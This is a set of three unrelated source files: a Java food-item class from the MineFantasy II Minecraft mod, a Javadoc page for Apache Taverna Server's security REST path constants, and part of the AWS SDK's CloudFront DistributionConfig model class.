text:
package minefantasy.mf2.item.food;

import java.text.DecimalFormat;
import java.util.List;

import minefantasy.mf2.MineFantasyII;
import minefantasy.mf2.api.stamina.StaminaBar;
import minefantasy.mf2.hunger.HungerSystemMF;
import minefantasy.mf2.item.list.CreativeTabMF;
import minefantasy.mf2.item.list.ToolListMF;
import minefantasy.mf2.mechanics.TierHelper;
import net.minecraft.creativetab.CreativeTabs;
import net.minecraft.entity.player.EntityPlayer;
import net.minecraft.init.Items;
import net.minecraft.item.EnumRarity;
import net.minecraft.item.Item;
import net.minecraft.item.ItemFood;
import net.minecraft.item.ItemStack;
import net.minecraft.nbt.NBTTagCompound;
import net.minecraft.potion.Potion;
import net.minecraft.potion.PotionEffect;
import net.minecraft.util.EnumChatFormatting;
import net.minecraft.util.StatCollector;
import net.minecraft.world.World;
import cpw.mods.fml.common.registry.GameRegistry;

public class ItemFoodMF extends ItemFood
{
	private static final String	eatDelayNBT = "MF_EatenFoodDelay";
	private float staminaRestore = 0F;
	private Item leftOver;
	private float mfSaturation = 0F;
	protected int hungerLevel;
	protected float saturationLevel;

	public ItemFoodMF(String name, int hunger, float saturation, boolean isMeat)
	{
		super(hunger, 0F, isMeat);

		hungerLevel = hunger;
		saturationLevel = saturation;
		setCreativeTab(CreativeTabMF.tabFood);
		GameRegistry.registerItem(this, "MF2_food_"+name, MineFantasyII.MODID);
		this.setUnlocalizedName(name);
		this.setTextureName("minefantasy2:food/"+name);
	}

	public ItemFoodMF(String name, int hunger, float saturation, float saturation2, boolean isMeat, int rarity)
	{
		this(name, hunger, saturation, isMeat);
		this.mfSaturation = saturation2 * FoodListMF.satModifier;
		itemRarity = rarity;
	}

	@Override
	protected void onFoodEaten(ItemStack food, World world, EntityPlayer consumer)
    {
		super.onFoodEaten(food, world, consumer);

		if(StaminaBar.isSystemActive)
		{
			if(staminaRestore > 0)
	        {
	        	StaminaBar.modifyStaminaValue(consumer, staminaRestore);
	        }
			if(staminaSeconds > 0)
			{
				StaminaBar.buffStamina(consumer, staminaBuff, staminaSeconds);
			}
			if(staminaRegenSeconds > 0)
			{
				StaminaBar.buffStaminaRegen(consumer, staminaRegenBuff, staminaRegenSeconds);
			}
		}

		if(mfSaturation > 0 && consumer.getFoodStats().getFoodLevel() >= 20)//Only apply saturation at full food level
		{
			HungerSystemMF.applySaturation(consumer, mfSaturation);
		}

		if(this == FoodListMF.berriesJuicy)
		{
			PotionEffect poison = consumer.getActivePotionEffect(Potion.poison);
			if(poison != null)
			{
				poison.addCurativeItem(food);
				consumer.curePotionEffects(food);
			}
		}
    }
	public ItemFoodMF setRarity(int i)
	{
		itemRarity = i;
		return this;
	}
	public ItemFoodMF setStaminaRestore(float f)
	{
		staminaRestore = f;
		hasEffect = true;
		return this;
	}
	public ItemFoodMF setStaminaModifier(float buff, float hours)
	{
		int secondsLasting = (int) (hours*3600F);
		staminaBuff = buff;
		staminaSeconds = secondsLasting;
		staminaInMinutes = secondsLasting > 60;
		staminaInHours = secondsLasting > 3600;
		hasEffect = true;
		return this;
	}
	public ItemFoodMF setStaminaRegenModifier(float buff, float minutesLasting)
	{
		int secondsLasting = (int) (minutesLasting*60F);
		staminaRegenBuff = buff;
		staminaRegenSeconds = secondsLasting;
		staminaRegenInMinutes = secondsLasting > 60;
		hasEffect = true;
		return this;
	}
	public static final DecimalFormat decimal_format = new DecimalFormat("#.#");
	@Override
    public void addInformation(ItemStack weapon, EntityPlayer user, List list, boolean extra)
    {
        super.addInformation(weapon, user, list, extra);
        if(MineFantasyII.isDebug())
        {
        	int pts = TierHelper.getPointsWorthForFood(hungerLevel, mfSaturation, staminaBuff, staminaSeconds, staminaRegenBuff, staminaRegenSeconds);
        	list.add("Points: " + pts);
        	list.add("Recommended Tier: " + (pts <= 10 ? 0 : (int)Math.ceil(pts/50F)));
        	int lvl =(Math.max(0, (Math.round(pts/5F))-10));
        	list.add("Level: " + lvl);
        }
        list.add(StatCollector.translateToLocalFormatted("food.stat.hunger.name", hungerLevel));
        if(mfSaturation > 0)
    	{
			list.add(StatCollector.translateToLocalFormatted("food.stat.saturation.name", decimal_format.format(mfSaturation)));
    	}

        if(hasEffect)
        {
        	list.add("");
        	list.add(EnumChatFormatting.WHITE + StatCollector.translateToLocal("food.stat.list.name"));
        	if(staminaRestore > 0)
        	{
        		list.add(StatCollector.translateToLocalFormatted("food.stat.staminaPlus.name", (int)staminaRestore));
        	}
        	if(staminaBuff > 0)
        	{
        		if(staminaInHours)
        		{
        			list.add(StatCollector.translateToLocalFormatted("food.stat.staminabuffHours.name", decimal_format.format(staminaBuff), decimal_format.format(staminaSeconds/3600F)));
        		}
        		else if(staminaInMinutes)
        		{
        			list.add(StatCollector.translateToLocalFormatted("food.stat.staminabuffMinutes.name", decimal_format.format(staminaBuff), decimal_format.format(staminaSeconds/60F)));
        		}
        		else
        		{
        			list.add(StatCollector.translateToLocalFormatted("food.stat.staminabuffSeconds.name", decimal_format.format(staminaBuff), decimal_format.format(staminaSeconds)));
        		}
        	}
        	if(staminaRegenBuff > 0)
        	{
        		if(staminaRegenInMinutes)
        		{
        			list.add(StatCollector.translateToLocalFormatted("food.stat.staminabuffRegenMinutes.name", decimal_format.format(staminaRegenBuff), decimal_format.format(staminaRegenSeconds/60F)));
        		}
        		else
        		{
        			list.add(StatCollector.translateToLocalFormatted("food.stat.staminabuffRegenSeconds.name", decimal_format.format(staminaRegenBuff), decimal_format.format(staminaRegenSeconds)));
        		}
        	}
        }
        if(this == FoodListMF.berriesJuicy)
        {
        	list.add(StatCollector.translateToLocal("food.stat.cure.poison"));
        }
    }

	public int itemRarity;
    @Override
	public EnumRarity getRarity(ItemStack item)
	{
		int lvl = itemRarity+1;

		if(item.isItemEnchanted())
		{
			if(lvl == 0)
			{
				lvl++;
			}
			lvl ++;
		}
		if(lvl >= ToolListMF.rarity.length)
		{
			lvl = ToolListMF.rarity.length-1;
		}
		return ToolListMF.rarity[lvl];
	}

	private boolean hasEffect = false;
	private float staminaBuff = 0F;
	private int staminaSeconds = 0;
	private boolean staminaInMinutes = false;
	private boolean staminaInHours = false;

	private float staminaRegenBuff = 0F;
	private int staminaRegenSeconds = 0;
	private boolean staminaRegenInMinutes = false;

	private static final String leftOverNbt = "MF_Food_leftover";

	public ItemFoodMF setReturnItem(Item item)
	{
		leftOver = item;
		return this;
	}
	@Override
	public ItemStack onEaten(ItemStack food, World world, EntityPlayer consumer)
    {
		ItemStack left = getLeftOver(food);
        if(left != null)
        {
        	if(food.stackSize == 1)
        	{
        		consumer.getFoodStats().func_151686_a(this, food);
                world.playSoundAtEntity(consumer, "random.burp", 0.5F, world.rand.nextFloat() * 0.1F + 0.9F);
                this.onFoodEaten(food, world, consumer);
        		return left;
        	}
    		if(!consumer.inventory.addItemStackToInventory(left) && !consumer.worldObj.isRemote)
    		{
    			consumer.entityDropItem(left, 1.0F);
    		}
        }
        setEatDelay(consumer, 10);
        return super.onEaten(food, world, consumer);
    }

	public static void setLeftOver(ItemStack food, ItemStack leftover)
	{
		if(!food.hasTagCompound())
		{
			food.setTagCompound(new NBTTagCompound());
		}
		NBTTagCompound savedItem = new NBTTagCompound();
		leftover.writeToNBT(savedItem);
		food.getTagCompound().setTag(leftOverNbt, savedItem);
	}

	protected ItemStack getLeftOver(ItemStack food)
	{
		if(food.hasTagCompound() && food.getTagCompound().hasKey(leftOverNbt))
		{
			return ItemStack.loadItemStackFromNBT(food.getTagCompound().getCompoundTag(leftOverNbt));
		}
		if(leftOver != null)
		{
			return new ItemStack(leftOver);
		}
		return getContainerItem(food);
	}

	@Override
	public void getSubItems(Item item, CreativeTabs tab, List list)
	{
		ItemStack food = new ItemStack(item);
		if(this.getUnlocalizedName().contains("stew"))
		{
			setLeftOver(food, new ItemStack(Items.bowl));
		}
		list.add(food);
	}
	private int useTime = 32;

	public ItemFoodMF setEatTime(int i)
	{
		useTime = i;
		return this;
	}

	@Override
	public int getMaxItemUseDuration(ItemStack item)
    {
        return useTime;
    }

	public static void onTick(EntityPlayer player)
	{
		int time = getEatDelay(player);
		if(time > 0)
		{
			time --;
			setEatDelay(player, time);
		}
	}

	private static void setEatDelay(EntityPlayer player, int time)
	{
		player.getEntityData().setInteger(eatDelayNBT , time);
	}
	private static int getEatDelay(EntityPlayer player)
	{
		if(player.getEntityData().hasKey(eatDelayNBT))
		{
			return player.getEntityData().getInteger(eatDelayNBT);
		}
		return 0;
	}
	@Override
	public ItemStack onItemRightClick(ItemStack food, World world, EntityPlayer user)
    {
		if(getEatDelay(user) > 0)
		{
			return food;
		}
        return super.onItemRightClick(food, world, user);
    }
}


text:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>TavernaServerSecurityREST.PathNames (Apache Taverna Server 3.1.0-incubating API)</title>
<meta name="date" content="2018-01-18">
<link rel="stylesheet" type="text/css" href="../../../../../../stylesheet.css" title="Style">

JavaScript is disabled on your browser.

Skip navigation links

Overview

Package

Class

Use

Tree

Deprecated

Index

Help

Prev Class

Next Class

Frames

No Frames

All Classes

Summary:

Nested |

Field |

Constr |

Method

Detail:

Field |

Constr |

Method

org.apache.taverna.server.master.rest

Interface TavernaServerSecurityREST.PathNames

Enclosing interface:

TavernaServerSecurityREST

public static interface TavernaServerSecurityREST.PathNames

Field Summary

Fields

Modifier and Type
Field and Description

static String
CREDS

static String
ONE_CRED

static String
ONE_PERM

static String
ONE_TRUST

static String
OWNER

static String
PERMS

static String
ROOT

static String
TRUSTS

Field Detail

ROOT

static final String ROOT

See Also:

Constant Field Values

OWNER

static final String OWNER

See Also:

Constant Field Values

CREDS

static final String CREDS

See Also:

Constant Field Values

ONE_CRED

static final String ONE_CRED

See Also:

Constant Field Values

TRUSTS

static final String TRUSTS

See Also:

Constant Field Values

ONE_TRUST

static final String ONE_TRUST

See Also:

Constant Field Values

PERMS

static final String PERMS

See Also:

Constant Field Values

ONE_PERM

static final String ONE_PERM

See Also:

Constant Field Values

Skip navigation links

Overview

Package

Class

Use

Tree

Deprecated

Index

Help

Prev Class

Next Class

Frames

No Frames

All Classes

Summary:

Nested |

Field |

Constr |

Method

Detail:

Field |

Constr |

Method

Copyright © 2015–2018 The Apache Software Foundation. All rights reserved.

redpajama_set_name: RedPajamaGithub


text:
package com.amazonaws.services.cloudfront.model;

import java.io.Serializable;

/**
 *

 * A distribution Configuration.
 *

 */
public class DistributionConfig implements Serializable, Cloneable {

    /**
     * A unique number that ensures the request can't be replayed. If the
     * CallerReference is new (no matter the content of the
     * DistributionConfig object), a new distribution is created. If the
     * CallerReference is a value you already sent in a previous request to
     * create a distribution, and the content of the DistributionConfig is
     * identical to the original request (ignoring white space), the response
     * includes the same information returned to the original request. If the
     * CallerReference is a value you already sent in a previous request to
     * create a distribution but the content of the DistributionConfig is
     * different from the original request, CloudFront returns a
     * DistributionAlreadyExists error.
     */
    private String callerReference;

    /**
     * A complex type that contains information about CNAMEs (alternate
     * domain names), if any, for this distribution.
     */
    private Aliases aliases;

    /**
     * The object that you want CloudFront to return (for example,
     * index.html) when an end user requests the root URL for your
     * distribution (http://www.example.com) instead of an object in your
     * distribution (http://www.example.com/index.html). Specifying a default
     * root object avoids exposing the contents of your distribution. If you
     * don't want to specify a default root object when you create a
     * distribution, include an empty DefaultRootObject element. To delete
     * the default root object from an existing distribution, update the
     * distribution configuration and include an empty DefaultRootObject
     * element. To replace the default root object, update the distribution
     * configuration and specify the new object.
     */
    private String defaultRootObject;

    /**
     * A complex type that contains information about origins for this
     * distribution.
     */
    private Origins origins;

    /**
     * A complex type that describes the default cache behavior if you do not
     * specify a CacheBehavior element or if files don't match any of the
     * values of PathPattern in CacheBehavior elements.You must create
     * exactly one default cache behavior.
     */
    private DefaultCacheBehavior defaultCacheBehavior;

    /**
     * A complex type that contains zero or more CacheBehavior elements.
     */
    private CacheBehaviors cacheBehaviors;

    /**
     * A complex type that contains zero or more CustomErrorResponse
     * elements.
     */
    private CustomErrorResponses customErrorResponses;

    /**
     * Any comments you want to include about the distribution.
     */
    private String comment;

    /**
     * A complex type that controls whether access logs are written for the
     * distribution.
     */
    private LoggingConfig logging;

    /**
     * A complex type that contains information about price class for this
     * distribution.
     *

     * Constraints:

     * Allowed Values: PriceClass_100, PriceClass_200, PriceClass_All
     */
    private String priceClass;

    /**
     * Whether the distribution is enabled to accept end user requests for
     * content.
     */
    private Boolean enabled;

    /**
     * A complex type that contains information about viewer certificates for
     * this distribution.
     */
    private ViewerCertificate viewerCertificate;

    /**
     * A complex type that identifies ways in which you want to restrict
     * distribution of your content.
     */
    private Restrictions restrictions;

    /**
     * (Optional) If you're using AWS WAF to filter CloudFront requests, the
     * Id of the AWS WAF web ACL that is associated with the distribution.
     */
    private String webACLId;

    /**
     * Default constructor for a new DistributionConfig object.  Callers should use the
     * setter or fluent setter (with...) methods to initialize this object after creating it.
     */
    public DistributionConfig() {}

    /**
     * Constructs a new DistributionConfig object.
     * Callers should use the setter or fluent setter (with...) methods to
     * initialize any additional object members.
     *
     * @param callerReference A unique number that ensures the request can't
     * be replayed. If the CallerReference is new (no matter the content of
     * the DistributionConfig object), a new distribution is created. If the
     * CallerReference is a value you already sent in a previous request to
     * create a distribution, and the content of the DistributionConfig is
     * identical to the original request (ignoring white space), the response
     * includes the same information returned to the original request. If the
     * CallerReference is a value you already sent in a previous request to
     * create a distribution but the content of the DistributionConfig is
     * different from the original request, CloudFront returns a
     * DistributionAlreadyExists error.
     * @param enabled Whether the distribution is enabled to accept end user
     * requests for content.
     */
    public DistributionConfig(String callerReference, Boolean enabled) {
        setCallerReference(callerReference);
        setEnabled(enabled);
    }

    /**
     * A unique number that ensures the request can't be replayed. If the
     * CallerReference is new (no matter the content of the
     * DistributionConfig object), a new distribution is created. If the
     * CallerReference is a value you already sent in a previous request to
     * create a distribution, and the content of the DistributionConfig is
     * identical to the original request (ignoring white space), the response
     * includes the same information returned to the original request. If the
     * CallerReference is a value you already sent in a previous request to
     * create a distribution but the content of the DistributionConfig is
     * different from the original request, CloudFront returns a
     * DistributionAlreadyExists error.
     *
     * @return A unique number that ensures the request can't be replayed. If the
     *         CallerReference is new (no matter the content of the
     *         DistributionConfig object), a new distribution is created. If the
     *         CallerReference is a value you already sent in a previous request to
     *         create a distribution, and the content of the DistributionConfig is
     *         identical to the original request (ignoring white space), the response
     *         includes the same information returned to the original request. If the
     *         CallerReference is a value you already sent in a previous request to
     *         create a distribution but the content of the DistributionConfig is
     *         different from the original request, CloudFront returns a
     *         DistributionAlreadyExists error.
     */
    public String getCallerReference() {
        return callerReference;
    }

    /**
     * A unique number that ensures the request can't be replayed. If the
     * CallerReference is new (no matter the content of the
     * DistributionConfig object), a new distribution is created. If the
     * CallerReference is a value you already sent in a previous request to
     * create a distribution, and the content of the DistributionConfig is
     * identical to the original request (ignoring white space), the response
     * includes the same information returned to the original request. If the
     * CallerReference is a value you already sent in a previous request to
     * create a distribution but the content of the DistributionConfig is
     * different from the original request, CloudFront returns a
     * DistributionAlreadyExists error.
     *
     * @param callerReference A unique number that ensures the request can't be replayed. If the
     *         CallerReference is new (no matter the content of the
     *         DistributionConfig object), a new distribution is created. If the
     *         CallerReference is a value you already sent in a previous request to
     *         create a distribution, and the content of the DistributionConfig is
     *         identical to the original request (ignoring white space), the response
     *         includes the same information returned to the original request. If the
     *         CallerReference is a value you already sent in a previous request to
     *         create a distribution but the content of the DistributionConfig is
     *         different from the original request, CloudFront returns a
     *         DistributionAlreadyExists error.
     */
    public void setCallerReference(String callerReference) {
        this.callerReference = callerReference;
    }

    /**
     * A unique number that ensures the request can't be replayed. If the
     * CallerReference is new (no matter the content of the
     * DistributionConfig object), a new distribution is created. If the
     * CallerReference is a value you already sent in a previous request to
     * create a distribution, and the content of the DistributionConfig is
     * identical to the original request (ignoring white space), the response
     * includes the same information returned to the original request. If the
     * CallerReference is a value you already sent in a previous request to
     * create a distribution but the content of the DistributionConfig is
     * different from the original request, CloudFront returns a
     * DistributionAlreadyExists error.
     *

     * Returns a reference to this object so that method calls can be chained together.
     *
     * @param callerReference A unique number that ensures the request can't be replayed. If the
     *         CallerReference is new (no matter the content of the
     *         DistributionConfig object), a new distribution is created. If the
     *         CallerReference is a value you already sent in a previous request to
     *         create a distribution, and the content of the DistributionConfig is
     *         identical to the original request (ignoring white space), the response
     *         includes the same information returned to the original request. If the
     *         CallerReference is a value you already sent in a previous request to
     *         create a distribution but the content of the DistributionConfig is
     *         different from the original request, CloudFront returns a
     *         DistributionAlreadyExists error.
     *
     * @return A reference to this updated object so that method calls can be chained
     *         together.
     */
    public DistributionConfig withCallerReference(String callerReference) {
        this.callerReference = callerReference;
        return this;
    }

    /**
     * A complex type that contains information about CNAMEs (alternate
     * domain names), if any, for this distribution.
     *
     * @return A complex type that contains information about CNAMEs (alternate
     *         domain names), if any, for this distribution.
     */
    public Aliases getAliases() {
        return aliases;
    }

    /**
     * A complex type that contains information about CNAMEs (alternate
     * domain names), if any, for this distribution.
     *
     * @param aliases A complex type that contains information about CNAMEs (alternate
     *         domain names), if any, for this distribution.
     */
    public void setAliases(Aliases aliases) {
        this.aliases = aliases;
    }

    /**
     * A complex type that contains information about CNAMEs (alternate
     * domain names), if any, for this distribution.
     *

     * Returns a reference to this object so that method calls can be chained together.
     *
     * @param aliases A complex type that contains information about CNAMEs (alternate
     *         domain names), if any, for this distribution.
     *
     * @return A reference to this updated object so that method calls can be chained
     *         together.
     */
    public DistributionConfig withAliases(Aliases aliases) {
        this.aliases = aliases;
        return this;
    }

    /**
     * The object that you want CloudFront to return (for example,
     * index.html) when an end user requests the root URL for your
     * distribution (http://www.example.com) instead of an object in your
     * distribution (http://www.example.com/index.html). Specifying a default
     * root object avoids exposing the contents of your distribution. If you
     * don't want to specify a default root object when you create a
     * distribution, include an empty DefaultRootObject element. To delete
     * the default root object from an existing distribution, update the
     * distribution configuration and include an empty DefaultRootObject
     * element. To replace the default root object, update the distribution
     * configuration and specify the new object.
     *
     * @return The object that you want CloudFront to return (for example,
     *         index.html) when an end user requests the root URL for your
     *         distribution (http://www.example.com) instead of an object in your
     *         distribution (http://www.example.com/index.html). Specifying a default
     *         root object avoids exposing the contents of your distribution. If you
     *         don't want to specify a default root object when you create a
     *         distribution, include an empty DefaultRootObject element. To delete
     *         the default root object from an existing distribution, update the
     *         distribution configuration and include an empty DefaultRootObject
     *         element. To replace the default root object, update the distribution
     *         configuration and specify the new object.
     */
    public String getDefaultRootObject() {
        return defaultRootObject;
    }

    /**
     * The object that you want CloudFront to return (for example,
     * index.html) when an end user requests the root URL for your
     * distribution (http://www.example.com) instead of an object in your
     * distribution (http://www.example.com/index.html). Specifying a default
     * root object avoids exposing the contents of your distribution. If you
     * don't want to specify a default root object when you create a
     * distribution, include an empty DefaultRootObject element. To delete
     * the default root object from an existing distribution, update the
     * distribution configuration and include an empty DefaultRootObject
     * element. To replace the default root object, update the distribution
     * configuration and specify the new object.
     *
     * @param defaultRootObject The object that you want CloudFront to return (for example,
     *         index.html) when an end user requests the root URL for your
     *         distribution (http://www.example.com) instead of an object in your
     *         distribution (http://www.example.com/index.html). Specifying a default
     *         root object avoids exposing the contents of your distribution. If you
     *         don't want to specify a default root object when you create a
     *         distribution, include an empty DefaultRootObject element. To delete
     *         the default root object from an existing distribution, update the
     *         distribution configuration and include an empty DefaultRootObject
     *         element. To replace the default root object, update the distribution
     *         configuration and specify the new object.
     */
    public void setDefaultRootObject(String defaultRootObject) {
        this.defaultRootObject = defaultRootObject;
    }

    /**
     * The object that you want CloudFront to return (for example,
     * index.html) when an end user requests the root URL for your
     * distribution (http://www.example.com) instead of an object in your
     * distribution (http://www.example.com/index.html). Specifying a default
     * root object avoids exposing the contents of your distribution. If you
     * don't want to specify a default root object when you create a
     * distribution, include an empty DefaultRootObject element. To delete
     * the default root object from an existing distribution, update the
     * distribution configuration and include an empty DefaultRootObject
     * element. To replace the default root object, update the distribution
     * configuration and specify the new object.
     *

     * Returns a reference to this object so that method calls can be chained together.
     *
     * @param defaultRootObject The object that you want CloudFront to return (for example,
     *         index.html) when an end user requests the root URL for your
     *         distribution (http://www.example.com) instead of an object in your
     *         distribution (http://www.example.com/index.html). Specifying a default
     *         root object avoids exposing the contents of your distribution. If you
     *         don't want to specify a default root object when you create a
     *         distribution, include an empty DefaultRootObject element. To delete
     *         the default root object from an existing distribution, update the
     *         distribution configuration and include an empty DefaultRootObject
     *         element. To replace the default root object, update the distribution
     *         configuration and specify the new object.
     *
     * @return A reference to this updated object so that method calls can be chained
     *         together.
     */
    public DistributionConfig withDefaultRootObject(String defaultRootObject) {
        this.defaultRootObject = defaultRootObject;
        return this;
    }

    /**
     * A complex type that contains information about origins for this
     * distribution.
     *
     * @return A complex type that contains information about origins for this
     *         distribution.
     */
    public Origins getOrigins() {
        return origins;
    }

    /**
     * A complex type that contains information about origins for this
     * distribution.
     *
     * @param origins A complex type that contains information about origins for this
     *         distribution.
     */
    public void setOrigins(Origins origins) {
        this.origins = origins;
    }

    /**
     * A complex type that contains information about origins for this
     * distribution.
     *

     * Returns a reference to this object so that method calls can be chained together.
     *
     * @param origins A complex type that contains information about origins for this
     *         distribution.
     *
     * @return A reference to this updated object so that method calls can be chained
     *         together.
     */
    public DistributionConfig withOrigins(Origins origins) {
        this.origins = origins;
        return this;
    }

    /**
     * A complex type that describes the default cache behavior if you do not
     * specify a CacheBehavior element or if files don't match any of the
     * values of PathPattern in CacheBehavior elements.You must create
     * exactly one default cache behavior.
     *
     * @return A complex type that describes the default cache behavior if you do not
     *         specify a CacheBehavior element or if files don't match any of the
     *         values of PathPattern in CacheBehavior elements.You must create
     *         exactly one default cache behavior.
     */
    public DefaultCacheBehavior getDefaultCacheBehavior() {
        return defaultCacheBehavior;
    }

    /**
     * A complex type that describes the default cache behavior if you do not
     * specify a CacheBehavior element or if files don't match any of the
     * values of PathPattern in CacheBehavior elements.You must create
     * exactly one default cache behavior.
     *
     * @param defaultCacheBehavior A complex type that describes the default cache behavior if you do not
     *         specify a CacheBehavior element or if files don't match any of the
     *         values of PathPattern in CacheBehavior elements.You must create
     *         exactly one default cache behavior.
     */
    public void setDefaultCacheBehavior(DefaultCacheBehavior defaultCacheBehavior) {
        this.defaultCacheBehavior = defaultCacheBehavior;
    }

    /**
     * A complex type that describes the default cache behavior if you do not
     * specify a CacheBehavior element or if files don't match any of the
     * values of PathPattern in CacheBehavior elements.You must create
     * exactly one default cache behavior.
     *

     * Returns a reference to this object so that method calls can be chained together.
     *
     * @param defaultCacheBehavior A complex type that describes the default cache behavior if you do not
     *         specify a CacheBehavior element or if files don't match any of the
     *         values of PathPattern in CacheBehavior elements.You must create
     *         exactly one default cache behavior.
     *
     * @return A reference to this updated object so that method calls can be chained
     *         together.
     */
    public DistributionConfig withDefaultCacheBehavior(DefaultCacheBehavior defaultCacheBehavior) {
        this.defaultCacheBehavior = defaultCacheBehavior;
        return this;
    }

    /**
     * A complex type that contains zero or more CacheBehavior elements.
     *
     * @return A complex type that contains zero or more CacheBehavior elements.
     */
    public CacheBehaviors getCacheBehaviors() {
        return cacheBehaviors;
    }

    /**
     * A complex type that contains zero or more CacheBehavior elements.
     *
     * @param cacheBehaviors A complex type that contains zero or more CacheBehavior elements.
     */
    public void setCacheBehaviors(CacheBehaviors cacheBehaviors) {
        this.cacheBehaviors = cacheBehaviors;
    }

    /**
     * A complex type that contains zero or more CacheBehavior elements.
     *

     * Returns a reference to this object so that method calls can be chained together.
     *
     * @param cacheBehaviors A complex type that contains zero or more CacheBehavior elements.
     *
     * @return A reference to this updated object so that method calls can be chained
     *         together.
     */
    public DistributionConfig withCacheBehaviors(CacheBehaviors cacheBehaviors) {
        this.cacheBehaviors = cacheBehaviors;
        return this;
    }

    /**
     * A complex type that contains zero or more CustomErrorResponse
     * elements.
     *
     * @return A complex type that contains zero or more CustomErrorResponse
     *         elements.
     */
    public CustomErrorResponses getCustomErrorResponses() {
        return customErrorResponses;
    }

    /**
     * A complex type that contains zero or more CustomErrorResponse
     * elements.
     *
     * @param customErrorResponses A complex type that contains zero or more CustomErrorResponse
     *         elements.
     */
    public void setCustomErrorResponses(CustomErrorResponses customErrorResponses) {
        this.customErrorResponses = customErrorResponses;
    }

    /**
     * A complex type that contains zero or more CustomErrorResponse
     * elements.
     *

     * Returns a reference to this object so that method calls can be chained together.
     *
     * @param customErrorResponses A complex type that contains zero or more CustomErrorResponse
     *         elements.
     *
     * @return A reference to this updated object so that method calls can be chained
     *         together.
     */
    public DistributionConfig withCustomErrorResponses(CustomErrorResponses customErrorResponses) {
        this.customErrorResponses = customErrorResponses;
        return this;
    }

    /**
     * Any comments you want to include about the distribution.
     *
     * @return Any comments you want to include about the distribution.
     */
    public String getComment() {
        return comment;
    }

    /**
     * Any comments you want to include about the distribution.
     *
     * @param comment Any comments you want to include about the distribution.
     */
    public void setComment(String comment) {
        this.comment = comment;
    }

    /**
     * Any comments you want to include about the distribution.
     *

     * Returns a reference to this object so that method calls can be chained together.
     *
     * @param comment Any comments you want to include about the distribution.
     *
     * @return A reference to this updated object so that method calls can be chained
     *         together.
     */
    public DistributionConfig withComment(String comment) {
        this.comment = comment;
        return this;
    }

    /**
     * A complex type that controls whether access logs are written for the
     * distribution.
     *
     * @return A complex type that controls whether access logs are written for the
     *         distribution.
     */
    public LoggingConfig getLogging() {
        return logging;
    }

    /**
     * A complex type that controls whether access logs are written for the
     * distribution.
     *
     * @param logging A complex type that controls whether access logs are written for the
     *         distribution.
     */
    public void setLogging(LoggingConfig logging) {
        this.logging = logging;
    }

    /**
     * A complex type that controls whether access logs are written for the
     * distribution.
     *

     * Returns a reference to this object so that method calls can be chained together.
     *
     * @param logging A complex type that controls whether access logs are written for the
     *         distribution.
     *
     * @return A reference to this updated object so that method calls can be chained
     *         together.
     */
    public DistributionConfig withLogging(LoggingConfig logging) {
        this.logging = logging;
        return this;
    }

    /**
     * A complex type that contains information about price class for this
     * distribution.
     *

     * Constraints:

     * Allowed Values: PriceClass_100, PriceClass_200, PriceClass_All
     *
     * @return A complex type that contains information about price class for this
     *         distribution.
     *
     * @see PriceClass
     */
    public String getPriceClass() {
        return priceClass;
    }

    /**
     * A complex type that contains information about price class for this
     * distribution.
     *

     * Constraints:

     * Allowed Values: PriceClass_100, PriceClass_200, PriceClass_All
     *
     * @param priceClass A complex type that contains information about price class for this
     *         distribution.
     *
     * @see PriceClass
     */
    public void setPriceClass(String priceClass) {
        this.priceClass = priceClass;
    }

    /**
     * A complex type that contains information about price class for this
     * distribution.
     *

     * Returns a reference to this object so that method calls can be chained together.
     *

     * Constraints:

     * Allowed Values: PriceClass_100, PriceClass_200, PriceClass_All
     *
     * @param priceClass A complex type that contains information about price class for this
     *         distribution.
     *
     * @return A reference to this updated object so that method calls can be chained
     *         together.
     *
     * @see PriceClass
     */
    public DistributionConfig withPriceClass(String priceClass) {
        this.priceClass = priceClass;
        return this;
    }

    /**
     * A complex type that contains information about price class for this
     * distribution.
     *

     * Constraints:

     * Allowed Values: PriceClass_100, PriceClass_200, PriceClass_All
     *
     * @param priceClass A complex type that contains information about price class for this
     *         distribution.
     *
     * @see PriceClass
     */
    public void setPriceClass(PriceClass priceClass) {
        this.priceClass = priceClass.toString();
    }

    /**
     * A complex type that contains information about price class for this
     * distribution.
     *

     * Returns a reference to this object so that method calls can be chained together.
     *

     * Constraints:

     * Allowed Values: PriceClass_100, PriceClass_200, PriceClass_All
     *
     * @param priceClass A complex type that contains information about price class for this
     *         distribution.
     *
     * @return A reference to this updated object so that method calls can be chained
     *         together.
     *
     * @see PriceClass
     */
    public DistributionConfig withPriceClass(PriceClass priceClass) {
        this.priceClass = priceClass.toString();
        return this;
    }

    /**
     * Whether the distribution is enabled to accept end user requests for
     * content.
     *
     * @return Whether the distribution is enabled to accept end user requests for
     *         content.
     */
    public Boolean isEnabled() {
        return enabled;
    }

    /**
     * Whether the distribution is enabled to accept end user requests for
     * content.
     *
     * @param enabled Whether the distribution is enabled to accept end user requests for
     *         content.
     */
    public void setEnabled(Boolean enabled) {
        this.enabled = enabled;
    }

    /**
     * Whether the distribution is enabled to accept end user requests for
     * content.
     *

     * Returns a reference to this object so that method calls can be chained together.
     *
     * @param enabled Whether the distribution is enabled to accept end user requests for
     *         content.
     *
     * @return A reference to this updated object so that method calls can be chained
     *         together.
     */
    public DistributionConfig withEnabled(Boolean enabled) {
        this.enabled = enabled;
        return this;
    }

    /**
     * Whether the distribution is enabled to accept end user requests for
     * content.
     *
     * @return Whether the distribution is enabled to accept end user requests for
     *         content.
     */
    public Boolean getEnabled() {
        return enabled;
    }

    /**
     * A complex type that contains information about viewer certificates for
     * this distribution.
     *
     * @return A complex type that contains information about viewer certificates for
     *         this distribution.
     */
    public ViewerCertificate getViewerCertificate() {
        return viewerCertificate;
    }

    /**
     * A complex type that contains information about viewer certificates for
     * this distribution.
     *
     * @param viewerCertificate A complex type that contains information about viewer certificates for
     *         this distribution.
     */
    public void setViewerCertificate(ViewerCertificate viewerCertificate) {
        this.viewerCertificate = viewerCertificate;
    }

    /**
     * A complex type that contains information about viewer certificates for
     * this distribution.
     *

     * Returns a reference to this object so that method calls can be chained together.
     *
     * @param viewerCertificate A complex type that contains information about viewer certificates for
     *         this distribution.
     *
     * @return A reference to this updated object so that method calls can be chained
     *         together.
     */
    public DistributionConfig withViewerCertificate(ViewerCertificate viewerCertificate) {
        this.viewerCertificate = viewerCertificate;
        return this;
    }

    /**
     * A complex type that identifies ways in which you want to restrict
     * distribution of your content.
     *
     * @return A complex type that identifies ways in which you want to restrict
     *         distribution of your content.
     */
    public Restrictions getRestrictions() {
        return restrictions;
    }

